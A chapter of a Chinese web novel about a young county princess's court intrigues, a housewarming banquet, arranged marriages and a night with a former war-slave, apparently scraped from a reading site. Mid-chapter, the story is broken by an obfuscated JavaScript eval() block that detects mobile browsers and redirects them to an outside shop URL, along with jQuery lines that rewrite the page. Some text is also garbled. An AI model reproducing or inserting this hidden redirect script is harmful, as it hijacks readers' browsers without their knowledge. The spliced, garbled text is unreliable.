24.第 24 章

作品:《县主只求富贵荣华

    程曦抓住重点,玩味地用舌头顶住杯沿。


    王家那些人都有一百个心眼子,表面上循规蹈矩、刚正不阿,实则全是利用名声为自己榨取好处的虚伪小人。


    没想到这样的家庭居然养出了个一个实心眼的。


    而且,很明显,王琅在家里不受宠爱。


    程曦迅速回忆起日前王琅随着她母亲孟夫人入宫时,王琅那频频仰头往上看的渴盼神情,终于意识到,王琅那时候不是想做皇子妻妾攀高枝,而是想给她传递消息。


    他人以善心待她,程曦自然不愿辜负对方的好意。


    程曦隔着桌子拉住王琅的手腕,“二娘,两家关系疏远,你我不过点头之交,我遇上麻烦,你能想着我,我心里感激。你既来了,我不能让你回去还要自己想借口应付家人。我迁入新宅,需要不少避晦的香料暖房,你看,你让你家的香铺再尽快补充一份订单如何?”


    王家能过得如此肆意清贵,归根究底因为王家掌握着江南大片土地和山林,家中还把持着一个出海口,能通过海运将好东西销售出去,换回大笔金银。


    “除此之外,”程曦垂下眼帘,轻轻一笑,“我头一回当家,分出来的仆从众多,却刚过打粮食的季节,没有积存。我想再从你家商铺里采买些粮食应急。”


    王琅不清楚程曦手里到底分得了多少田宅,更不了解总共有多少奴婢,不过,上门的生意没有不做的道理。


    王琅收下程曦释放的善意:“县主要多少粮食,只管直接去粮铺提。”


    “择日不如撞日,我这就让人跟着二娘去采买。有你这个主家在,下人办事更利落。”程曦笑眯眯的,一伸手指向跟来的春柳。


    商定闲事,王琅拿了程曦的礼物,又带着春柳绕回自家铺面。


    等安静下来,春信给程曦揉着发僵的脖子和肩膀,轻声询问:“县主怎么想起来采买米粮了?”


    程曦向后靠着,把重量交到春信身上,眼睛看向门外昏暗的天,“今年冬天太冷了,雪也比往年更大。”


    程太后案头已经有好几本禀报寒灾、雪灾的奏章,程曦担心河道会结冰。


    京郊大营屯兵十五万,京中还有五十多万百姓。


    兵马的饮食供应都靠着漕运送粮进京。


    一旦河道结冰,粮食不能及时送达,京城的所有人口反而会变成最大的问题,甚至战斗力都可能反过来变成扎向自己的利刃。


    多存些粮食没坏处,有备无患。


    而且……


    “我需要摸清楚京中这些商户手里到底囤积了多少粮食。”


    只有这样,才好计算最糟糕的情况下,京城的粮食到底能用多久。


    程曦安静了一会后,枕着春信的肩膀:“春信,对外放消息,就说我要收皮毛给下人做冬衣,让商人上门,不要吝惜钱财,多收一些。还有,你最近去各家不同粮商那里打听打听他们存粮的数量,若有人问起,就暗示他们辽东的不冻港即将被我收入囊中,我要造船投资海运,想做向外头卖米的生意,需要合作伙伴,不管哪一家来卖米,价格适合的都吃下。”


    粮食是比黄金还有用的硬通货。


    只要手里有粮食,哪怕遇见了坏事,只要肚子饱饱的,都不算太糟糕。


    “炭火和煤球,要不要也多买一些囤着?”春信补充。


    程曦却在这时候摇头了,“皮毛和粮食都是可以长期囤积的东西,多买一些也无妨,外人最多觉得我花钱大手大脚,到手之后又挑剔。可烧制煤炭常燃着火,这东西保存起来也不安全。算了,不要。”


    况且,今冬寒气逼人,程太后是个政治经验丰富的老政客,她不会察觉不到,更不会不做准备。


    程曦准备的这些,只是希望在“万一”的情况下,能帮程太后填补些许漏洞。


    *


    接下来的整整一旬,京中风声鹤唳。


    程辉不愧是在程太后的庇佑下得势了数十载的族长,经过牢里的一通梳理,他吐出了更多犯罪内容。


    成顺元年,夏、襄的大战里,他不但克扣粮草,甚至还被查出倒卖军械,甚至将下发给战死士兵的抚恤金扣下,重融为铜、私铸钱币。


    除此之外,程辉还在战后隐去了许多已死士官的战功,公然把属于他们的晋封卖出去,又捞了一笔。


    这些事情上上下下需要打通无数环节,绝非程辉一人能做到。


    至于他的同伙……


    审讯程辉的官员是程太后一手提拔进入三司的,那份认罪书上被程辉供出来的同伙,当然程太后希望有谁,就有谁。


    至于没有证据?


    官员又能有几个真正做到两袖清风的,这处没错,难道其他的事情也没有一点错误?


    只要把人抓进监牢,一通棍棒下去,习惯了养尊处优的官员少有脊梁骨硬过铁棍的。


    一直持续到供奉灶王爷那日,衙门彻底封印落锁,程太后向朝臣赐下她亲自写的“福”字,朝廷终于不再有新的官员被抓进大牢。


    几张纸而已,却被朝臣千恩万谢地捧回家,贴到内宅最显眼的地方,仿佛有了这么几个字,就不必担心禁军破门而入。


    原本和程太后“达成默契”的官员这才发现,事情一旦开始,就不再是他们能够控制的了。


    新春将近,朝堂上五品以上的实职,竟然空出了三成!


    程太后根本不给朝臣插手的机会。


    她先以家人的身份当朝痛斥程辉侮辱先祖名望,直接把人驱逐出族谱,然后以程家嫡女的身份把程三太爷程霖迁到自己母亲名下,变成嫡子,让他做了族长。


    程霖是程太后早早失怙的庶出弟弟,比程太后小了十多岁。


    那时候程太后为了自保,退居侧室,正在不得志的时候,又无儿女傍身,看到这个不得宠爱的庶弟,心生怜惜,索性带在身边。


    同期,先帝的其他姬妾也没为他生下一儿半女。


    夫妻俩一同在外征战,带着这么个小弟弟,反而像是带着自己的孩子。


    程霖在先帝和程太后的抚育下,被养得看似混不吝,实则文武双全又极有眼光。


    这些年来,他不过是碍于身份,从不离开军中,返回程家。


    如今,程太后需要他执掌权柄,遥控程家,就亲手重塑程家“嫡系”的定义。


    程三太爷得了这场破天富贵之后,更是对程太后唯马首是瞻。


    程三太爷既然是嫡子了,那么接下来的问题就更好处理了。


    程霖是程家目前辈分最高的男人,他又是“嫡子”,那理所当然的,程霖也应该是程家的族长,继承爵位,去军中填补程辉留下的空缺。


    至于程家军中撕掳下去那么多大大小小的将领,空出了不少位置?


    那是程家人用命打下来的,程太后还在位置上好好坐着呢,这些官职当然要留给程家其它有军功的子弟。


    ——战事未歇,程家在军中的位置都是真要上战场和人对砍玩命的,教育出一个有才华的后代不容易,朝臣并不羡慕程太后给娘家留的官职。


    程家经过这一场大清洗,分不出轻重的已经被彻底赶出朝堂,所谓“嫡出”也留下了许多空位可以给过去被出身压制的年轻人大展手脚了。


    既然程霖都可以是嫡出,那么早年追随先帝征战时候死去的程老太爷、程二太爷、程六太爷,当然也可以过继几个后人延续香火。


    程太后大手一挥,新春之际,把许多青年才俊全归到三位兄弟名下,让三位兄弟多了好些个子孙。


    朝臣哪敢对此胡言乱语。


    说来说去,朝堂上只剩下一片“太后唯才是举”的夸赞。


    倒也应景。


    程家的空缺都被补了,那是不是应该轮到朝廷其他职务补缺了?


    在朝臣翘首以待中,程太后好像又想起来她是个喜欢亲情抚慰的老太太了,绝口不提安排官员的事情,亲自跑去外孙女开府的宴会凑热闹去了。


    *


    钿头银篦击节碎,血色罗裙翻酒污。


    京中最好的伎乐班被请来渌水山房,正院两侧客房□□脆以东西区分,东侧划给男宾、西侧划给女宾,方便他们更换衣服和歇息。


    乐声、笑声远远传开,程太后乘车而来,坐在车里情不自禁跟着露出笑容。


    她先开车帘一角,向外看,低声和成业说:“听着挺热闹的,看来来了不少人。”


    可随着马车低调进入渌水山房,程太后脸上的笑容却淡了。


    她没在前院看到那些常年男女主出行的贴身仆从。


    既然如此,来渌水山房做客的都是些什么人?


    马车停下,成业扶着程太后下车。


    她带上幕离,隔绝了外界的目光,也断绝了泄露身份的机会。


    程太后直接走近正厅,视线在厅内扫了一圈,目光彻底变冷。


    宾客几乎都是年轻人。


    日耀长公主坐在程曦身旁陪着,周围只有寥寥数十位男女长辈。他们各踞一桌,低声谈笑,举止中对程曦倒颇为亲密。


    长辈只占了二十八张桌子,与热闹的鼓乐形成鲜明对比。


    程太后打眼一看,那些家里官职在四品以上却没有长辈亲临的人家,来的要么是和程曦同辈的女郎,要么是在官场咂摸职务的年轻人。


    连和女儿要加入皇室的王御史和岑家都没到。


    程曦跟她一块打配合,让程家这群作奸犯科的官员被驱逐出朝堂之后,全留住了性命,还保留几户全部的官职。


    朝中权术,最难做的便是这种看似简单,实则润物细无声的法子。


    这群得到邀请的官员见识过程曦的本事了,居然敢不亲自出席?


    程太后可不相信他们是看懂朝中局势。


    他们只是把不来参加程曦的迁居宴会当成表达朝堂上对程太后不满的一个渠道罢了。


    这就让人很不高兴了。


    一群负隅顽抗的蠢货,真是欠教训。


    连程家都不是铁板一块,难道这群官员以为缺了他们,程太后在朝中就真的无人可用吗?


    看来她之前清理朝臣的力度还是太轻了。


    程太后心中不快,但她不会在外孙女的好日子黑脸。


    她却对成业摆摆手,示意他不必呵斥。


    程太后解下羃离后,不再遮掩行踪,由侍女引路,从大门走到程曦面前。


    成业迅速摆摆手,跟在程太后身后四名宫女快走几步,各自捧上一个托盘。


    金冠、长簪、腰带、衣裙。


    程太后笑道:“荣昌乔迁大喜,年后你就要入朝了。哀家让人给你备了份用上的礼物。”


    成业凑趣:“县主快试试——娘娘吩咐宫中金匠,把金子捶打到头发丝这么细,编了一顶轻便的发冠。方便您配着实心的纯金镶宝凤凰长簪。还有这条金腰带,你瞧瞧,上头用珍珠、东海金珠、绿松石、红宝石、蓝宝石,都是您喜欢的宝石。”


    金冠做成了常见的梁冠样式,依照着程曦的头型,比粱冠尺寸略小,既能将她浓密的发丝全部收入发冠之中,也不会因为做得尺寸过大,增加重量。


    但到了搭配的长簪,就与男式金冠毫无关系了。


    飞凤展翅,七根凤尾随风而起,如在云中翱翔。


    张扬至极的风格,这只凤凰几乎是明着把发冠踩在脚下,而且并没有做“凤凰衔珠吊坠”这种增加魅惑氛围的装饰。


    程曦的手指抚过金冠和长簪,落在腰带上,捻了捻。


    一尺长、两寸宽的金片,被穿孔缝制在布料上。腰带表层的金片约莫有三枚铜钱叠放那么厚。


    金片表面雕刻着几只凤凰追逐嬉戏的画面,凤凰的羽毛用小而圆的各种颜色的珠子拼出凤凰“身披五彩”的效果。


    衣裙用了程曦喜欢的深色织浅色花纹的长衫样式。


    光照这套从上到下的装饰上,金光晕开,几乎令人睁不开眼睛。


    “谢谢外祖母,我很喜欢,不过发簪和腰带太重了。”


    程太后抚摸着外孙女的脸蛋笑道:“常用的器物,自然要选最好的。哀家还觉得做得太轻了,否则,你的乔迁之喜,为何这么多人敢礼到人不来呢?”


    程太后的声音很轻,但在这个问题被问出后,偌大的客厅中,只剩下悠扬的奏乐。


    程太后不是一个喜欢发脾气的人。


    哪怕曾经当众被亲儿子夺权,她都周全了各方脸面,可现在程太后直接说出了她的不满。


    她的脸上还在笑,但除了程曦和这些亲自来参加宴会的官员之外,其他人都笑不出来了,场中,连乐声都停止了。


    程太后顺势落座,视线扫过下面坐立不安的宾客,柔声吩咐:“去请人吧。”


    她扬手比划一下,乐声重启。


    程曦暖场,指着母亲说:“外祖母别光想着那群臣子,无趣得很,不如猜一猜母亲送了什么给我。”


    “你特意说起,看来不是特别喜欢,就是特别不喜欢了。”程太后看了自己女儿一眼。


    日耀长公主有些别扭地移开视线,又强迫自己把视线放回程太后身上,对她展开笑容。


    “母亲直接运了一箱金子、两箱银子和十箱铜钱给我。”程曦说完就把自己逗笑了,“母亲说我开府,有的是用钱的地方,送珍宝珠玩,不如金银实在,让我想买什么只管买。”


    她一手一个,挽住日耀长公主和程太后:“果然是亲母女,永远想着孩子最实际需要的,不会送些华而不实却不出错的呢。”


    这真是实话中的实话了。


    送书画珍宝,听着唬人,实则只有喜欢的人才会开心,除了摆出来显摆,就没实际用处了。


    至于首饰一类,匠人的工艺都是越新的越好,“古宝家传”的首饰同样也只有纪念意义,价值几乎都是吹出来的。


    上面这些东西的“价值”是上位者赋予的。


    可不论程太后、日耀长公主还是程曦,她们本来就是上位者,太清楚“给了名就不会给实”的道理了。


    到她们这样的层级,已经不必在乎名了。


    田宅、商铺、金银才是最实在的东西,而肯忽略虚名,给她们送实际东西的人,才是真正在意她们生活的。


    母女之间没有隔夜仇,程曦说合程太后和日耀长公主母女间的那点小别扭很快就散了。


    日耀长公主主动说:“下人从北地收来的皮草中有两条毛色特别鲜亮的红狐,我让人尽快裁制出来,母亲出门时候搭在肩膀和膝盖上,不受寒气侵扰。”


    天底下冷着谁,也不可能冷着程太后。


    可程太后年纪大了,老人永远是怕冷的。她要的也不过是儿女们的一份心意。


    “我也让人从西域挪了你爱吃的那个品种的葡萄藤过来,明年夏天,你就再也不愁吃不到葡萄了。”程太后把悄悄为了女儿做过的事情说了。


    有了这份和解,不管外人如何,今天的宴会,对程曦来说,实在是大喜。


    既然人少又是私宴,更不必在乎繁文缛节。


    程曦丢开在朝堂上需要在乎的座次问题,笑着邀请:“安顺堂姑婆,请过来坐。”


    谁会不喜欢和掌权人接触呢。


    他们本就是亲戚,安顺县主更是程太后的铁杆支持者,听到招呼,安顺县主马上坐过来,拉着程曦夸赞:“荣昌出息了,不但相貌,连本事都随了娘娘。可惜你不想招夫,不然真想把我家里的那群臭小子送你面前来。”


    程曦顿时打蛇上棍,“堂姑婆既然有意做亲,不如想一想我在程家的刚被提拔的几个堂兄。”


    “这……”安顺县主立刻转头去看程太后,怀疑程曦的话出自程太后授意。


    可她却看到程太后也面带惊讶。


    程曦笑道:“堂姑婆不必多心,这事情,我事先没和外祖母商量过,全是出自我的私心。”


    她抱歉地对程太后笑了笑,随后继续说:“堂兄们……虽说已经有了新身份。可至少最近五六年之内,他们突然获得的身份已经比起他们自己打出来的军功更惹眼了。很多人家不想沾惹是非,就不会考虑将家中出挑的女儿嫁过去。”


    但不懂事的女孩,就算愿意嫁过来,程家也不想要啊。


    婚嫁就是这么回事。


    男人娶媳妇的时候,出身、品德、能力缺一不可,非要三选二的情况下,大多门户高的人家宁可放弃男方的能力,以免家中女孩遭罪。


    程家现在获得拔擢——不管是官职方面的提升,还是从出身不明的庶子变成已经过世三位程家太爷嫡孙——的子弟,能力是不差的。


    能被程太后看中,品性也不会太糟糕。


    他们依仗着“程”这个姓氏,按理说,出身也不算糟糕。


    偏偏每一个仔细调查,都会被人意识到这个“程”不太成,这样的出身免不了被人说嘴。


    勋贵大多不喜欢给女儿挑这类丈夫。


    程太后用他们的时候,也忽略了他们的婚姻问题,唯独程曦在计算自家炭火用量的时候,突然回忆起这群堂兄拖到二十啷当,一个个都还没人张罗婚事。


    婚姻,结两姓之好。


    程家已经被拧成一股绳了,那为何不让这根绳子和更多与程太后站在一起的人家拧在一起,让它变得更加粗壮坚韧呢。


    “这……这我以前没想过,荣昌容我考虑一二。”安顺县主颇为意动,但家里孩子都有亲爹娘,为了家宅安定,她不能直接做主。


    程曦笑着点头:“堂兄们没人帮着考虑婚姻大事,我这个做堂妹的多嘴,您不怪我不守礼我就很感激了。”


    程曦说完,给这次邀婚增加筹码:“堂姑婆,我再给堂兄们美言几句——那寻常武职入军后,家眷须得留京,以示忠心,可外祖母理政,程家是自家人。媳妇都可以跟去任上,不用独自在京中守着儿女苦熬,忍受分别之苦。”


    程曦没有许诺什么“无子,四十娶妾”这种废话。


    夫妻感情好的,自然不会纳妾蓄婢;夫妻感情不佳的,许诺也就是一句骗人的鬼话,毫无价值。


    安顺县主是在丈夫身上吃过苦头的,程曦的话对她来说意义太大了。


    她端起饮品快速喝了一口,迅速下定决心:“朝中已经修了年假,最近各府宴饮不断,我会下帖子请程家儿郎过府的。”


    只要程太后不死,程家不会败落。


    未来二十年足够女子内宅生活的大半辈子了。


    再选其他人家,门第也不会更高。


    既然如此,不如给孩子们选个能舒心的丈夫。


    安顺县主又往程曦、日耀长公主、程太后祖孙三人脸上看了看。


    程家人貌美,找程家儿郎做孙女婿,就算生出口角,孩子们再看几眼丈夫的脸,平时都生不起气!


    真是个好选择。


    “这等好事,县主可不能只顾着亲戚。”亲自过来的人家,除了程曦看中的宗室人家,还有其他勋贵。


    他们竖着耳朵偷听程曦和安顺县主的对话,一发现要被捷足先登,顿时忍不住开口插嘴了。


    永安侯是程太后给自己准备的下一个女婿,但现在程玉还没死呢,所以他的这层身份也暂时无法曝光。


    永安侯裴俊频频入宫的事情,已经被有心人注意到。


    今日荣昌县主开宴,永安侯又再次亲临。


    为了不引起怀疑,裴俊抓住机会直接加入话题,向程曦询问:“臣家中两子已到弱冠之年,暂无女眷帮忙操持,今日想借县主宝地与给家结识。”


    永安侯裴俊个人不显山不漏水,进入军中十数年官职稳步上升,妻子过世数年并未续弦;而他所在的裴家真正的顶梁柱时深受程太后倚重的堂兄裴景,裴景的家中也只有明媒正娶的妻子和由妻子做主开脸的妾室。


    裴家两兄弟一文一武,都没听过内宅闹出过什么闲言碎语。


    至于其他裴姓族人,也没传出过什么苛待妻子的传闻。


    若嫁女入裴家宅门,实在是个不错的选择。


    裴俊开口后,刚刚还在和程曦说话的安顺县主立刻转头道:“永安侯不若问一问程三太爷家的长孙女,我见过一回。啊,那女郎实在是生得色如春花。”


    安顺县主掩口低笑:“年轻夫妇啊,看对眼了,便是有所争执,多看对方几眼也能笑了,日子磨合下来,慢慢也就顺当了。”


    “娶妻娶贤”不假,但“贤”和“美”又不冲突。


    高门里面长得漂亮的女孩子多的是。


    程三太爷眼瞅着就是御前最热的热灶了,他能被程太后扶持起来,又没被言官追着咬,家里妻儿当然不差。


    永安侯和他过世的妻子都是秀丽类的长相,他们的孩子相貌清正,现在已经谋了官职在下面办差,颇为稳重。


    男女双方都生得不错,性格也和顺,若能成,想来还真是一桩好姻缘。


    永安侯开口只是为了不让自己的存在太过突兀,安顺县主这一指点,他顿时心动了,忍不住看向程曦和程太后,询问老太太的意思。


    ——既然肯定要和日耀大长公主成婚,程太后是否还愿意再出一个程家姑娘给裴家,这事情就不好说了。


    程太后不着痕迹地点点头。


    程曦跟着笑道:“永安侯贵人多忘事,堂姐今日随着叔叔婶婶一同过来,您还夸她来着。”


    她马上给侍女使眼色,同时说,“后院有几间空屋,请叔叔婶婶和永安侯过去坐坐。”


    日耀长公主突然按住程曦的手,对侍女摇头:“今日不是说这些的场合。我过几日要邀请表兄表嫂上门,商量今年的走礼的事情,永安侯到时候一块过来坐坐吧。”


    “……是,臣听长公主的。”永安侯和日耀长公主对视几息,垂下眼帘,嘴角却微微上扬了几分,语气和顺地答应了。


    把程曦的迁居宴变成给其他人的相亲宴当然不那么合适,但比这更不可思议的是一直抗拒联姻的日耀长公主会忽然提供便利。


    程曦看着母亲,满眼不可思议。


    日耀大长公主已经起身,丢下句“我去寻表嫂了。”就快速离开大厅。


    她长长的裙裾逶迤在地,光华流转,背影窈窕。


    程曦悄悄瞥视永安侯,果然发现他虽然低着头,姿态恭敬,但视线的方向却无声追逐着日耀长公主的裙摆。


    ……这又是什么时候发生的事情?


    程曦心里掂量着,借口更衣,暂时离场,吩咐春桃去打听消息。


    不一会,春桃返回,在程曦耳畔轻声说:“长公主冬至深夜噩梦惊醒,不顾宵禁,驱车前往程家在郊外的祖坟。路上天黑,车轮卡在石缝里,遇上了成群的野狗围攻。永安侯从军中返回,正巧遇见。救人后才发现是长公主。”


    哦,原来是英雄救美。


    虽然老套,但不得不说,男性确实在展现真正的雄性魅力时候,能够大幅度增加自己的吸引力。


    程曦问:“后来呢?”


    难道被人救了,她母亲就没送点谢礼过去?这实在不像是日耀长公主的行事作风,她在面上可从来不落人口实的。


    “日耀长公主坚持要去郊外,永安侯让出自己的马车,还亲自带人充作守卫,陪长公主走了一趟。”


    春桃双手合十,对天拜了拜,“幸好永安侯陪着长公主走这一趟,程家那些凡事的官眷有不甘心败落的,居然要行刺长公主,让永安侯按住了。”


    春桃突然露出奇妙地笑容,声音一转:“永安侯今天穿的衣裳,就是长公主挑的料子,让针线班连夜赶制后送过去的。”


    针线班又没跟日耀长公主一起出门。


    永安侯今天的外衫如此合身,显然是日耀长公主给针线班的尺寸。


    程曦:“还打听出来其他了么?”


    “永安侯护送长公主回来那日,裴家的两位郎君和两位女郎都在门口恭迎长公主,向长公主行礼问候之后,车驾才继续返回公主府的。”春桃最后补充。


    日耀长公主和永安侯的子女们是见过面的。


    那天早晨,日耀长公主、程曦、永安侯及其四个子女一起奉旨出席了程太后的早膳。


    当时,永安侯的子女循规蹈矩,从头到尾一声不吭,好像是透明人。


    程曦当时看不出他们对这桩即将进入流程的联姻的看法,但如今想来,永安侯已经让自己儿女拿出正确的态度了。


    确实应了永安侯面对程太后时承诺的那句话——“裴家对太后尽忠”。


    所以裴家面对下嫁的日耀长公主,裴家已经拿出以臣奉君的态度,不论喜欢不喜欢,都会恭恭敬敬地让日耀长公主接下来的婚姻生活顺心愉快。


    程曦暗忖:外祖母嘴上说着让母亲该长大了,实则还是为她铺了一条分外平安的路走。


    “把程家秘传的内伤药准备一个月的量,过两日送到永安侯府,就说我知道消息太晚,谢谢永安侯保护我母亲。”


    如果日耀长公主的心智无法继续成长,那么让她前半辈子依靠母亲,后半辈子依靠女儿也未尝不可。


    我要变强,变得更强。


    宽大的衣袖下,程曦悄然攥紧拳头,比以往的每一刻都更加渴望权力。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17186537|194813||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    只是利用权力拨弄他人的生死有什么意思呢?那些都不如把自己在意的人庇护在羽翼下,放任对方享受幸福生活来得更有成就感。


    她也想如同外祖母一样,随心所欲的为在意的人构建出他们迟早会喜欢的人生。


    她现在还是太弱小了,那么不如学一学蜘蛛,先织一张大网,让各种消息源源不断流入她耳中,方便她分析判断跟各种变化,从而拨动蛛网的丝线,弹动局势。


    换上崭新的衣裙,程曦返回宴会。


    前来的人家都从“荣昌县主要为程家儿郎和安顺县主子孙做媒”的提示中获得启发,自发借着推杯换盏的机会凑到一块,研究起年龄相仿的儿女婚事。


    程太后抵达之后的半个时辰,得到她命令守在二门的成业,突然扬声:“汾阳侯岑家,庄夫人携孙女,到——”


    真没想到,最先赶来的居然是已经和二皇子定下亲事的岑家。


    程太后若无其事,继续和安顺县主唠着家常。


    程曦微笑着注视庄夫人带着岑三娘出现。


    她的视线在岑家祖孙身上转了一圈,迅速认出庄夫人头上插着的发簪和岑三娘外套的一层流光纱袍,都曾经在不久前的宴会中穿戴过。


    看来她们之前确实没有过来的打算,否则衣服和首饰都会提前准备,而不是临时掏出来组合使用。


    程曦嘴角笑容加深。


    看来岑家嘴上说着能够接受这桩婚事,实则对于妻妾同时进门心里的怨气还是很重。


    “三娘备嫁,尚未亲手缝制好嫁衣,怠慢县主了。”人都到了,就不必死撑脸面,庄夫人直接开口认错。


    这理由很唬人,可惜没人信。


    程曦笑着说:“庄夫人备下的礼物我很喜欢,家里忙着,大冷的天,实在不必非要走这一趟了。日后都是亲戚,我怎么会计较这些。”


    程曦之前确实不计较,因为岑三娘真的在备嫁。


    但程太后来了,岑家祖孙突然就有时间过来,不觉得礼到人不到,是一件失礼的事情了?


    不过是看人下菜碟,说一套做一道罢了。


    庄夫人向上看了一眼,按住想要争辩的孙女,拉着她赔笑入座。


    接下来的一个时辰内,陆续又几十名客人抵达,到最后,甚至有些不相干的官员也听到了风声,为了不惹祸上身,临时带着礼物前来。


    程曦随便应付了一番后来的官眷,等到面对后续抵达的官员时,则亲自到正门口向他们解释其中误会,然后客客气气地把人邀请入座,送上一份丰盛可口的酒席,再送客人离开。


    一直接近午夜,程曦才终于结束了这场宴会。


    程太后来时悄悄,等到离开的时候,程曦可不敢冒险。


    她把全部甲卫都叫出来护送程太后离开。


    送走全部客人,程曦从春桃手里接了手绢擦擦额头的汗水,转头笑问跟着自己一块辛苦了整日的大丫鬟们:“客人身份和送来的礼物都记清楚了?尽快打听清楚他们的家境。”


    家境不同,与之相处的态度又要有所分别。


    家境不好却送重礼的,必定有意攀附。查一查人品和能力,如果不错,可以收入麾下,日后调遣。


    家境不好,送礼也寻常的,只管照价回礼,多送些米粮纸张,日后正常走动,算是结下一份善缘。


    至于家境好又上门的官员,情况比家境差的,更麻烦一些。


    若他们过去和程家从未有什么来往甚至有冲突,这一回却携带重礼而来的,肯定是想打通和程太后的关系,终于低下他们高贵的头颅了,冲着这个态度,也要给他们和程太后接触的机会。


    若是过去和程家点头之交,这次备了重礼,大约也是在示好,可以试探着走动,探探目的。


    若是过去本就亲近,这一回却备了重礼,那就要考虑他们是不是惹事,等着程曦帮忙说好话抹消罪行了。


    想到未来即将面对的情况,程曦一个头两个大。


    看来她下决心太早了,还是先试一试是否真有外祖母的本领能撑起全部重压,再谈替别人撑天吧!


    春桃四下看看,突然往程曦掌心塞了一块扎手的东西。


    那东西沉甸甸的。


    程曦对着灯火举高看了看,“东西”萦绕着一圈冷冷的金属光泽。


    “这是什么东西,谁让你塞给我的?”


    春桃不敢隐瞒:“刘郎君送的,他说这块天外陨石是被抓后迁往都城时在路上捡到的。材质非凡,可断宝刀。”


    “县主今非昔比,应该锻造一块护心镜时时佩戴,以防不测。”


    “不过,他没钱,也找不到好工匠,请县主自己费心。”


    “……怎么有人送这种东西。”程曦含笑抱怨。


    而且都想好了做什么,却还敢直说没钱打造,也没工匠的人脉。


    真是促狭!


    但还挺有意思的。


    程曦捏了捏掌心陨石,嘴角的笑意憋不住在整张脸上扩散。


    她喜欢这种别出心裁的礼物。


    程曦转转眼睛,不确定地问:“提炼陨石,到底应该找首饰匠人,还是打铁匠?”


    “这、这奴婢也不晓得。”春桃也只能干瞪眼了。


    “无妨,打铁匠和首饰匠聚在一起,就说我要一块漂亮的护心镜,他们肯定有办法。”程曦摆摆手,不再深究,“我要沐浴。”


    “刘问枢呢?”程曦边走边随便问了一嘴。


    她身后的脚步一停,回头看到春桃尴尬的神情,不禁再问,“怎么了?”


    春桃赶快走上前,小声回答:“甲士都护送太后去了,等等才能回来。”


    “厨房肯定还有不少上好的酒肉,让厨房再给甲士送些。”程曦没能理解春桃话中隐含的暗示,吩咐下去。


    *


    浴房中,温泉咕噜噜地涌进堆起的巨大池子。


    程曦整个人在池塘中舒展四肢,如同一条美人鱼似的游来游去。


    隔壁淋浴间,一名身材强壮的男子在水下洗净身体,赤身推开隔断的薄薄门扉,埋入池塘。


    池子再大也不至于遮掩一名成年男子的存在。


    程曦在刘问枢入水后,第一时间发现了他的存在。


    她在水中转身,刘问枢欺身而上,扶着程曦一同破水而出。


    “谁放你进来的?”程曦直接问出最关键的一点。


    刘问枢表情一僵,当即反问:“是我误会了,县主没有见我的意思?”


    这个……


    灯光照在湿润的皮肤上,紧绷的皮肤下一块块肌□□回清晰,锁骨向着臂膀延伸的线条中藏着一处浅窝,池水正在其中轻轻摇晃。


    年轻男人垂眸看着她,眼睛里写满受伤的情绪,喉结上下滚动。


    程曦情不自禁抬手抚上刘问枢的脸:“……你想跟我睡?”


    刘问枢的耳朵红了。


    “想,还是不想?”


    刘问枢将程曦抱在怀中,程曦能感觉到他激烈的心跳。


    “我想让县主今晚都不睡。”


    “哈哈哈哈,”程曦立刻被这回答逗笑了。


    年前无事,她明天可以赖床。


    程曦咬了咬刘问枢的锁骨,“好啊,说话算话。”


    水声骤起,一个不眠夜。


    *


    晨光破晓,程曦手臂勾住刘问枢汗涔涔的臂膀,将人拉到面前,亲着他的嘴唇,含混地说:“你该走了。你已经不是战奴了,别让人知道你今晚来过。”


    刘问枢一瞬间僵住身体,他闷闷答应一声,翻身下床,“县主放心,我不会破坏县主名声的。”


    程曦踹了一脚他的后腰,然后卷着被子翻身背对着刘问枢:“洗洗再走,别一身汗的出门,小心病了。”


    刘问枢顿住脚步,回头看向床帐中隐约透出的莹白身影,赤着脚走回去。


    他跪在踏脚上,扶住程曦的肩膀,将嘴唇印在程曦后颈。


    “县主,我会很听话、很上进的。您能不能……”


    程曦没有回头,打断刘问枢的恳求时,声音已经透出倦意:“刘问枢,我不嫁皇子,是因为他们会挡我的路。如果婚姻对我有帮助,我会找个身份适合的丈夫,啃下对方掌握的权力脉络。”


    刘问枢不死心,“那您为何言语之间对我总是多有回护呢?”


    程曦终于回转身体面对着刘问枢。


    她抓住男人一缕发丝,在指尖翻卷,微微用力,刘问枢就凑过来,与她交换浅吻。


    程曦脸上的笑意扩大,“你看,你这么英俊,又很会让我开心,我当然会对你好一点。”


    她咬了咬男人的脖子,在上面留下痕迹。


    些微的刺痛并不算什么,但她说出的内容却让刘问枢整个人僵在原地:“因为你开心的时候,就能尽心尽力让我更开心。”


    程曦说完就放开刘问枢,重新阖上双眼。


    刘问枢单手撑在床面上,半晌没有动弹。


    程曦推了推他的肩膀,“去温泉里暖一暖吧,别让开心的事情变得不开心。”


    她说完话,呼吸很快变得平和缓慢。


    刘问枢收回手,定定看着程曦安详的睡颜,捂住发红的眼睛。他在踏脚上跪了许久,才站起来,轻声离开。


    程曦睁开眼睛,细长的手指抚摸着刘问枢依靠的那一块,褥子尤带余温。


    她卷起嘴角,露出个笑容。


    刘问枢一定不知道,他就像个大火炉似的,只要在不远处,都能让环境变热;他肯定更不知道,如果装睡有等级,那程曦肯定是大宗师,只要她不希望被人发现自己装睡,就没人能够发现。


    这群战奴的资料早就被摆上程曦桌头了。


    最近得空,她当打发时间,把资料看完。


    刘问枢被绑来做了三年苦工了,今冬寒冷远胜往日,他那阵子接连病了几场,差一点起不来。


    被程曦选中带回来之后,或许是出于活命的感激催生了多余的情感?


    程曦不确定。


    但不论真心还是假意,程曦希望刘问枢做的,他做的很好。


    刘问枢如果要钱,程曦可以给出很多,但要感情和承诺,她给不了。


    不过,只要是人,就难免双标——她给不了刘问枢情,可刘问枢表现出对她的在意,却让她很开心。


    就像她自己说的那样,至少稍微对刘问枢好一点,他开心了,就会让程曦更开心。


    刘问枢来得静悄悄,离去也没惊动其他人。


